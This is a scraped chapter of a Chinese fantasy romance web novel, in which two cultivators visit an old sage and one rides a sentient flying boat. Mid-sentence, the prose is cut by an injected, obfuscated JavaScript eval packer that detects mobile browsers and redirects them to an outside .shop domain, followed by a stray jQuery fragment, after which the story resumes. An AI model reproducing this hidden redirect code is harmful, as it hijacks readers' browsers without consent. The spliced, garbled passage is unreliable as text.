文趣网 > 其他小说 > 妖皇她封心锁爱了 > 5. 重走来时路
    秦双月盯着宋殊,觉得好笑。

    怎么着,他不看也不许别人看了?

    “为什么不准人家看?我穿的好看就是给人家看的!”

    宋殊冷冷地斜了她一眼,食指敲了敲桌。

    “食不言寝不语。”

    秦双月恨的牙痒痒。

    他一点也没有三百年前可爱了!

    见人虽然气鼓鼓瞪着他,却依旧老老实实坐下吃饭,宋殊不可抑制地唇角微扬。

    两人安安静静吃完早餐后,便又开始赶路了。

    当然,这回不可能再慢悠悠晃过去了。

    “御剑!”秦双月还惦记着方才的事,是以语气那叫一个霸道,根本没有商量的余地。

    宋殊早上得了趣,也不准备再逗她了,于是从善如流唤出证月,却险些脱手。

    宋殊心中大怒,在识海里斥道:“证月!”

    证月剑灵懒洋洋又不耐烦地回复,“什么事?”

    掌中长剑依旧轻轻嗡鸣,迫不及待想要去找秦双月。

    宋殊恨铁不成钢,一字一句冷冷道:“你能不能争口气,是她抛弃了我们在先,你现在又眼巴巴贴上去不是不值钱吗?!”

    这话也不知究竟是给证月说的,还是给他自个儿说的。

    证月听完,觉得好笑。

    “我是上古神武,情剑之灵,剑随心动,这点道理我都知道,想去找双月的,到底是我这个剑灵,还是你这个剑主人啊?”

    宋殊狠狠咬住后槽牙,“那你,也给我忍住了。”

    像他一样,忍住了。

    证月不置可否,只“切”了一声。

    “我的前主人的经验告诉我们,感情不长嘴,结束是迟早的事。”

    听到“结束”二字,宋殊眸中乍现一股血色,他一字一顿道:“休、想。”

    证月的躁动终于被他压下,他呼吸微微急促,抬眸看着不远处一身蓝白衣裳亮眼的女人。

    轻声道:“休想和我结束,我们没完。”

    明明是不舍的含义,从他嘴里道出来,倒像是血海深仇不共戴天一般。

    “宋哥哥,好了吗?”秦双月这一小会儿就把刚刚的不愉快忘了个干净,朝他招了招手,笑得很灿烂。

    宋殊向她走去。

    证月在脚下,像是知道自己关乎秦双月的安危,一路平稳地飞驰。

    宋殊看似在一心掌握证月飞行,实则所有注意力都放在身后人身上了。

    啧。

    不是吵着要御剑吗?怎么御上了这么久还没有动静?之前都是立刻就上来抱着他哭唧唧地说自己怕的啊?还要他请她吗?

    此刻的秦双月则满眼都是壮阔山河,被脚下的美景吸引地移不开视线,御剑贴贴的初心早已抛到九霄云外了。

    原本稳定的证月突然一坠,秦双月下意识伸出胳膊搂住了前头的宋殊。

    宋殊“啧”了一声,嘲道:“这么点动静也把你吓成这样?”

    宋殊的腰细又有力,秦双月抱着就不撒手了,索性点点头,说:“就是很怕高呀,要抱着宋哥哥才会好一点。”

    秦双月人在后面,所以看不见宋殊肆无忌惮地勾起的唇角。

    证月剑灵翻了个白眼。

    三百年守活寡后,这人越来越黑了。

    秦双月抱着人,难得觉得心安,看过沿途风景,不由觉得眼熟。

    直到,宋殊在一座十分古怪的山脉前停下。

    这山秦双月也熟呀,这山中住的人秦双月也熟啊。

    “顺道拜访一下故人。”宋殊仰头遥望着奇险山峰上不起眼那一点墨色。

    “老子平生,江南江北,最爱临风笛……”

    此处奇峰名为三清,三座主峰,最著名的是右侧险峰,峰形下窄上宽,状似一条呈攻击式的毒蛇。

    而这险峰之上,矗立着一栋小木屋,木屋房门前,有一个白胡子拖在了老远席地而坐的小老头,这疏狂的词便是出自他的口中。

    老头临险而坐,听见身后传来的脚步声,未睁眼,先嘲道:“老子当年就算到,你们呐,是孽缘,还非不信,现在好了。”

    秦双月愣了片刻,浅浅笑道:“原前辈,久违了。您还是这么……风流倜傥。”

    原因白“哼”了一声,皱皱鼻子,不情不愿睁开眼,“还是你这个小姑娘讨老子喜欢,不像这一坨,来了也来了,招呼也不打。”

    宋殊不屑地移开视线。

    秦双月笑答:“他是比当年话少了些。”

    原因白嗤笑一声,捋了捋拖地的长须,“少来,他当年话又多到哪里去了。”

    “你再多说一句无益的话,我不介意再打一架。”宋殊忍无可忍,把证月召了出来,握在手中,冷冰冰地看着原因白。

    当年他和秦双月来此处秘境为他寻找本命剑,就是这烦人的老头,刚见面就说他和秦双月不是正缘,气的他拔剑就和原因白打了起来,主峰那突兀的峡沟就是他劈出来的。

    是不是正缘,他自己心里有数,就算不是,他也多的是办法将它变成正缘。

    但他此次来这儿,不是为了再听他那些废话的。

    原因白面色一僵,随机大怒了起来,“你这崽子,不要以为半步大成了就可以随意挑衅老子,这剑老子看了万万年,岂是你说要对付老子它就听话的?”

    秦双月见着气氛越来越僵持,赶忙挤到两人中间打圆场,“好了好了宋哥哥别生气,原前辈说话没把门你又不是第一天知道,好啦好啦不生气,我们的事情我们自己心里知道就好啦。”

    原因白:?

    这不和稀泥还好,一和宋殊的怒气便转移到她自己身上了。

    “知道什么啊?”

    你知道什么啊?

    你什么都不知道。

    小没良心的。

    秦双月收敛了笑容,看着他沉黑沉黑的眸,正色答道:“我知道,我们是正缘。”

    两情相悦,就是正缘。她才不在乎别人怎么说。

    宋殊呆愣住。

    原因白看两人大有在他这剖白心迹的意思,打了个寒颤,连忙打断,“喂喂喂,别当着老子的面说啊。”

    宋殊一肚子话还没说出口就被打断,怒从心起,猛然挥出一剑,大半个主峰应声落入崖底。

    原因白却一点也不惧,只啧道:“从此以后要改名了,叫‘两清峰’了。”

    秦双月本来还有些讶异于宋殊现在的实力,骤然听见这句笑出声来。

    “你一边玩去,我们有话说。”宋殊瞟了眼笑成花的秦双月。心想,这有什么好笑的,对他笑的时候没见笑的这么开心。

    原因白白眼翻到天上去了,拖着胡子往房屋里头走,“丫头去玩玩老子的船吧,他也许久不见你了。”

    秦双月:!

    这两人背着她有事干了!有秘密了!还是她不能知道的!

    宋殊往木屋走时,猛然回首,见秦双月乖乖呆在原地才有些放心,才回头走了半步,那股惶恐感便又漫上心头。

    她不会趁他没看着又跑了吧!

    她如果敢,他就算杀穿妖界也要把人绑回

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734312|209018||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来,关在接月峰上。

    “乖乖待着。”敢乱跑!

    他远远地嘱咐她。

    “是~宋哥哥你放心去吧!”秦双月好笑地回答他。

    宋殊唇角微牵。

    “你个小崽子还来不来了?!”原因白在房子里探出个白绒绒的脑袋,气急败坏地催促。

    烦人。

    宋殊眼里笑意敛去,不耐烦一闪而过。

    要不是要问他那个秘术,早把他爱惜的一把胡子斩飞了。

    这厢,秦双月往原因白说的那艘小船走过去。

    这深山老林的,连小溪都不知道有没有,却在崖边栓了一艘小船。小船的色调就是很普通的深黑木色,久经岁月沉淀。

    当年她与宋殊来此处进秘境便是得他护送。

    是以秦双月眉眼弯弯,用手点点船舷,与他问好。

    “小黑,好久不见。”

    船身轻轻一震,一道微光闪过,像是一尊方醒的老兽。

    秦双月耳边传来古老的醇厚的嗓音。

    “双月。”

    “是我,您还记得呀。”

    他当然记得她,老船自被炼制出来,除了第一位主人,还从未有人敢唤他“小黑”。

    老船很久之后才传来回应。

    “上来,我们再走一程。”

    秦双月从善如流坐上船身,躺在船上,张开双臂,姿态十分悠闲。

    拴在岸边小石柱上的绳子自动解开,老船缓缓地浮起,凌空而行。

    “宋殊呢?”老船问。

    秦双月悠闲地闭上眼,回答:“去和原前辈说事了。”

    又过了好一会,老船又问:“你的身体出问题了。”

    秦双月释然地笑了笑:“小问题。”

    “心魔是小问题吗?”

    “……这不是回来解决了吗?”

    “你与宋殊怎么样了?”

    “……不怎么样。”

    “你们是被上古情剑认定的情缘,不必管原因白的话。”

    “噗嗤,”秦双月笑出声,“从来没人把他说的话当真。”也只有宋殊小孩子脾气,天天计较。

    “现在准备去哪儿呢?”

    秦双月缓缓睁开眼,凝望着近在眼前的浮云飘过。回想着伏龙谷的位置与宋殊前行的方向,浅浅笑了。

    “重走一遍来时路,看看能不能忆起初心吧。”

    这想必,也是宋殊的目的。

    老船上,女孩睡得很安静,眉目间满是恬淡,宋殊在崖边,耐心等船飘来,身后的原因白本来一副急躁的样,见着睡熟的秦双月也乖乖把抱怨的话咽进肚子里。

    宋殊对着老船轻声道谢,“多谢您看顾她。”

    老船没有回答,黑色船身上闪过沉重的光泽。

    “这老伙计又睡觉去了,天天天天睡,就知道睡!”原因白小声抱怨,把绳子重新系在,石柱上,打着哈欠冲宋殊摆了摆手。

    “不送。”

    宋殊看着她良久,俯下身子,及尽轻柔地抱起女孩,稳稳揽在怀中,迈上证月,往前路去。

    是前路还是来路?

    宋殊不知道,也没必要分清楚。

    只要人还是那个就好了。

    想起原因白吐出的字句,他不屑一顾的勾唇。

    便是死亡也无法分开让他离开她,更何况区区劫雷。

    别说以她的实力飞升雷劫不成问题,就算是他也能为她挡下。

    他会,一辈子,永远,和她纠缠在一起。

    绝不放手。